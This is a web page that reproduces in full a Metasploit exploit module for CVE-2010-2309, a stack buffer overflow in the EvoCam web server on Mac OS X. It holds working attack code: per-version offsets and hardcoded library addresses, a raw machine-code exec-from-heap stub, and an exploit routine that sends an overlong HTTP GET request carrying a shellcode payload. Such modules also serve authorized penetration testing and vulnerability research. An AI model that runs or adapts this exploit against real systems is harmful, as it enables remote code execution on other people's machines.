扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
## # $Id: evocam_webserver.rb 10617 2010-10-09 06:55:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the web server provided with the EvoCam program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6, 3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerablity. }, 'Author' => [ 'Paul Harrington', # Original Exploit Author and MSF Module 'dookie', # MSF Module Assistance ], 'Version'=> '$Revision: 10617 $', 'Platform' => 'osx', 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2010-2309'], ['OSVDB', '65043'], ['URL', 'http://www.exploit-db.com/exploits/12835'], ], 'Payload'=> { 'Space' => 300, 'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20", 'StackAdjustment' => -3500, }, 'Privileged' => false, 'Targets'=> [ [ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6', { 'Arch' => ARCH_X86, 'Offset' => 1560, 'Writable' => 0x8fe66448, 'setjmp' => 0x8fe1cf38, 'strdup' => 0x8fe210dc, 'jmp_eax' => 0x8fe01041 } ], [ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7', { 'Arch' => ARCH_X86, 'Offset' => 1308, 'Writable' => 0x8fe66448, 'setjmp' => 0x8fe1cf38, 'strdup' => 0x8fe210dc, 'jmp_eax' => 0x8fe01041 } ], ], 'DisclosureDate' => 'Jun 01 2010', 'DefaultTarget'=> 1)) register_options( [ Opt::RPORT(8080), ], self.class) end def make_exec_payload_from_heap_stub() frag0 = "\x90" + # nop "\x58" + # pop eax "\x61" + # popa "\xc3" # ret frag1 = "\x90" + # nop "\x58" + # pop eax "\x89\xe0" + # mov eax, esp "\x83\xc0\x0e" + # add eax, byte +0xc "\x89\x44\x24\x08" + # mov [esp+0x8], eax "\xc3" # ret setjmp = target['setjmp'] writable = target['Writable'] strdup = target['strdup'] jmp_eax = target['jmp_eax'] exec_payload_from_heap_stub = frag0 + [setjmp].pack('V') + [writable + 32, writable].pack("V2") + frag1 + "X" * 20 + [setjmp].pack('V') + [writable + 24, writable, strdup, jmp_eax].pack("V4") + "X" * 4 end def exploit connect offset = target['Offset'] buffer = "GET " buffer << rand_text_alpha_upper(offset) buffer << make_exec_payload_from_heap_stub() buffer << "\x90\x90" buffer << payload.encoded buffer << " HTTP/1.0\r\n\r\n" sock.put(buffer) sock.close handler() disconnect end end |
体验盒子
